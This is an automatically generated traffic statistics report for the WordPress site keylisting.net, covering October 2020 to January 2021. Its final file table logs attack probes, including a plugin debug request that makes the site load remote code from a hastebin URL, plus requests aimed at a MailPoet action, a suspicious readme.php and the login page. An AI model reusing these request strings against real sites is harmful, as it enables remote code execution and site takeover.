Web Server Statistics for keylisting.netProgram started on Sun, Jan 31 2021 at 5:37 PM.
Analyzed requests from Fri, Oct 09 2020 at 1:19 PM to Sun, Jan 31 2021 at 3:54 PM (114.11 days).
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Figures in parentheses refer to the 7-day period ending Jan 31 2021 at 5:37 PM.
Successful requests: 2,717 (134)
Average successful requests per day: 23 (19)
Successful requests for pages: 217 (0)
Average successful requests for pages per day: 1
Failed requests: 9,100 (12)
Redirected requests: 3,723 (22)
Distinct files requested: 1,481 (5,962)
Distinct hosts served: 426 (1,895)
Data transferred: 34.38 megabytes (1.18 megabytes)
Average data transferred per day: 308.48 kilobytes (172.57 kilobytes)
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Each unit (
) represents 4 requests for pages or part thereof.
| month | #reqs | #pages | |
|---|---|---|---|
| Oct 2020 | 1349 | 125 | ![]() |
| Nov 2020 | 249 | 11 | ![]() ![]() |
| Dec 2020 | 581 | 64 | ![]() |
| Jan 2021 | 538 | 17 | ![]() ![]() |
Busiest month: Oct 2020 (125 requests for pages).
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Each unit (
) represents 3 requests for pages or part thereof.
| day | #reqs | #pages | |
|---|---|---|---|
| Sun | 295 | 11 | ![]() |
| Mon | 166 | 17 | ![]() ![]() |
| Tue | 697 | 28 | ![]() ![]() |
| Wed | 495 | 37 | ![]() ![]() ![]() |
| Thu | 199 | 10 | ![]() |
| Fri | 326 | 16 | ![]() ![]() |
| Sat | 539 | 98 | ![]() ![]() |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Each unit (
) represents 2 requests for pages or part thereof.
| hour | #reqs | #pages | |
|---|---|---|---|
| 0 | 75 | 5 | ![]() ![]() |
| 1 | 126 | 4 | ![]() |
| 2 | 185 | 4 | ![]() |
| 3 | 96 | 7 | ![]() |
| 4 | 54 | 9 | ![]() ![]() |
| 5 | 81 | 12 | ![]() ![]() |
| 6 | 36 | 2 | ![]() |
| 7 | 89 | 6 | ![]() ![]() |
| 8 | 30 | 5 | ![]() ![]() |
| 9 | 461 | 79 | ![]() ![]() |
| 10 | 64 | 11 | ![]() ![]() |
| 11 | 51 | 5 | ![]() ![]() |
| 12 | 162 | 4 | ![]() |
| 13 | 66 | 6 | ![]() ![]() |
| 14 | 61 | 5 | ![]() ![]() |
| 15 | 57 | 5 | ![]() ![]() |
| 16 | 146 | 6 | ![]() ![]() |
| 17 | 50 | 5 | ![]() ![]() |
| 18 | 202 | 12 | ![]() ![]() |
| 19 | 110 | 6 | ![]() ![]() |
| 20 | 163 | 3 | ![]() |
| 21 | 180 | 6 | ![]() ![]() |
| 22 | 67 | 4 | ![]() |
| 23 | 105 | 6 | ![]() ![]() |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing domains, sorted by the amount of traffic.
| #reqs | %bytes | domain |
|---|---|---|
| 2717 | 100% | [unresolved numerical addresses] |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Listing the top 20 organizations by the number of requests, sorted by the number of requests.
| #reqs | %bytes | organization |
|---|---|---|
| 1039 | 144.91 | |
| 162 | 17.29% | 91 |
| 159 | 17.07% | 204.101 |
| 159 | 15.56% | 52 |
| 158 | 0.46% | 80.82 |
| 71 | 5.78% | 150.143 |
| 70 | 0.29% | 196.65 |
| 66 | 0.18% | 105 |
| 65 | 6.22% | 197.244 |
| 57 | 5.52% | 46 |
| 54 | 5.20% | 114 |
| 48 | 4.18% | 41 |
| 46 | 3.43% | 77 |
| 31 | 0.14% | 54 |
| 29 | 0.04% | 14 |
| 21 | 0.54% | 40 |
| 20 | 0.72% | 13 |
| 20 | 5.17% | 205.169 |
| 17 | 0.03% | 3 |
| 17 | 0.14% | 116 |
| 408 | 12.04% | [not listed: 144 organizations] |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Listing the top 30 referring URLs by the number of redirected requests, sorted by the number of redirected requests.
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Listing the top 30 referring URLs by the number of failed requests, sorted by the number of failed requests.
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Listing referring sites, sorted by the number of requests.
| #reqs | site |
|---|---|
| 1824 | http://keylisting.net/ |
| 23 | http://mail.keylisting.net/ |
| 23 | http://www.keylisting.net/ |
| 5 | http://google.com/ |
| 3 | http://site.ru/ |
| 2 | https://www.google.com/ |
| 1 | https://margiesmustreads.com/ |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Listing browsers with at least 1 request for a page, sorted by the number of requests for pages.
| #reqs | #pages | browser |
|---|---|---|
| 369 | 75 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36 |
| 43 | 43 | Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_1 like Mac OS X) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.0 Mobile/14E304 Safari/602.1 |
| 95 | 24 | Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0 |
| 16 | 15 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36 |
| 9 | 9 | Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0 |
| 5 | 5 | python-asks/2.4.8 |
| 5 | 5 | Mozilla/5.0 (Linux; Android 5.0.2; SAMSUNG SM-T550 Build/LRX22G) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/3.3 Chrome/38.0.2125.102 Safari/537.36 |
| 4 | 4 | python-requests/2.9.1 |
| 4 | 3 | Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0 |
| 68 | 3 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36 |
| 2 | 2 | python-requests/2.10.0 |
| 12 | 2 | python-requests/2.24.0 |
| 2 | 2 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36 |
| 8 | 2 | Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4 |
| 2 | 2 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240 |
| 2 | 2 | Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0 |
| 6 | 2 | Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1) Gecko/20090624 Firefox/3.5 |
| 53 | 2 | Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 |
| 3 | 2 | Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36 |
| 3 | 2 | python-requests/2.23.0 |
| 1 | 1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36 |
| 1 | 1 | Mozilla/5.0 (compatible; Nimbostratus-Bot/v1.3.2; http://cloudsystemnetworks.com) |
| 2 | 1 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 |
| 5 | 1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0 Safari/537.36 |
| 1 | 1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36 |
| 1 | 1 | User-Agent, Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon 2.0) |
| 1 | 1 | Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.0.3705; .NET CLR 1.1.4322) |
| 1 | 1 | Mozilla/5.0 (Windows; U; Windows NT 5.1) Gecko/20070309 Firefox/2.0.0.3 |
| 3 | 1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 |
| 1985 | 0 | [not listed: 64 browsers] |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Listing browsers with at least 1 request for a page, sorted by the number of requests for pages.
| # | #reqs | #pages | browser |
|---|---|---|---|
| 1 | 1119 | 156 | Safari |
| 866 | 111 | Safari/537 | |
| 43 | 43 | Safari/602 | |
| 8 | 2 | Safari/533 | |
| 2 | 263 | 41 | Firefox |
| 95 | 24 | Firefox/28 | |
| 9 | 9 | Firefox/62 | |
| 4 | 3 | Firefox/81 | |
| 2 | 2 | Firefox/63 | |
| 21 | 2 | Firefox/3 | |
| 1 | 1 | Firefox/2 | |
| 3 | 30 | 10 | python-requests |
| 30 | 10 | python-requests/2 | |
| 4 | 5 | 5 | python-asks |
| 5 | 5 | python-asks/2 | |
| 5 | 164 | 2 | MSIE |
| 4 | 1 | MSIE/8 | |
| 1 | 1 | MSIE/7 | |
| 6 | 30 | 1 | Netscape (compatible) |
| 1101 | 0 | [not listed: 10 browsers] |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Listing operating systems, sorted by the number of requests for pages.
| # | #reqs | #pages | OS |
|---|---|---|---|
| 1 | 1160 | 98 | Windows |
| 906 | 87 | Windows NT | |
| 19 | 6 | Windows XP | |
| 235 | 5 | Unknown Windows | |
| 2 | 300 | 56 | Unix |
| 300 | 56 | Linux | |
| 3 | 87 | 45 | Macintosh |
| 4 | 1163 | 16 | OS unknown |
| 5 | 2 | 0 | Known robots |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Listing status codes, sorted numerically.
| #reqs | status code |
|---|---|
| 2709 | 200 OK |
| 8 | 206 Partial content |
| 1986 | 301 Document moved permanently |
| 1737 | 302 Document found elsewhere |
| 143 | 400 Bad request |
| 329 | 403 Access forbidden |
| 7889 | 404 Document not found |
| 2 | 405 Method not allowed |
| 13 | 409 Request conflicts with state of resource |
| 374 | 500 Internal server error |
| 350 | 5xx [Miscellaneous server errors] |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

| size | #reqs | %bytes |
|---|---|---|
| 0 | 1561 | |
| 1B- 10B | 5 | |
| 11B- 100B | 30 | 0.01% |
| 101B- 1kB | 163 | 0.26% |
| 1kB- 10kB | 459 | 5.14% |
| 10kB-100kB | 393 | 41.96% |
| 100kB- 1MB | 106 | 52.63% |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Listing extensions with at least 0.1% of the traffic, sorted by the amount of traffic.
| #reqs | %bytes | extension |
|---|---|---|
| 412 | 45.95% | .js [JavaScript code] |
| 307 | 27.63% | .css [Cascading Style Sheets] |
| 213 | 7.01% | [directories] |
| 4 | 6.22% | .jpg [JPEG graphics] |
| 1613 | 4.37% | .php [PHP] |
| 11 | 3.02% | .svg |
| 21 | 2.35% | .woff2 |
| 12 | 1.69% | .woff |
| 17 | 1.28% | .png [PNG graphics] |
| 48 | 0.20% | .txt [Plain text] |
| 45 | 0.14% | [no extension] |
| 14 | 0.14% | [not listed: 4 extensions] |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Listing directories with at least 0.01% of the traffic, sorted by the amount of traffic.
| #reqs | %bytes | directory |
|---|---|---|
| 722 | 73.76% | /wp-content/ |
| 615 | 19.96% | /wp-includes/ |
| 1226 | 2.87% | [root directory] |
| 38 | 2.67% | /wp-json/ |
| 2 | 0.39% | /blog/ |
| 1 | 0.17% | /about-company/ |
| 1 | 0.14% | /contacts/ |
| 88 | 0.04% | /wp-admin/ |
| 24 | [not listed: 1 directory] |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Listing files with at least 20 requests, sorted by the number of requests.
| #reqs | %bytes | last time | file |
|---|---|---|---|
| 1023 | Jan/31/21 3:54 PM | /wp-cron.php | |
| 114 | Dec/20/20 1:44 AM | /wp-login.php | |
| 75 | Jan/24/21 8:37 PM | /wp-admin/admin-post.php | |
| 25 | Jan/24/21 8:37 PM | /wp-admin/admin-post.php?swp_debug=load_options&swp_url=https://hastebin.com/raw/etonipusij | |
| 15 | Dec/ 9/20 7:12 PM | /wp-admin/admin-post.php?page=wysija_campaigns&action=themes | |
| 58 | 0.19% | Dec/26/20 5:38 AM | /wp-includes/pomo/ |
| 42 | 0.01% | Jan/31/21 10:16 AM | /robots.txt |
| 28 | 2.36% | Jan/22/21 9:40 PM | / |
| 23 | 2.64% | Jan/20/21 10:28 PM | /wp-json/wp/v2/posts/ |
| 23 | 3.38% | Oct/15/20 6:28 PM | /wp-content/plugins/contact-form-7/images/readme.php |
| 1331 | 91.42% | Jan/26/21 2:23 AM | [not listed: 428 files] |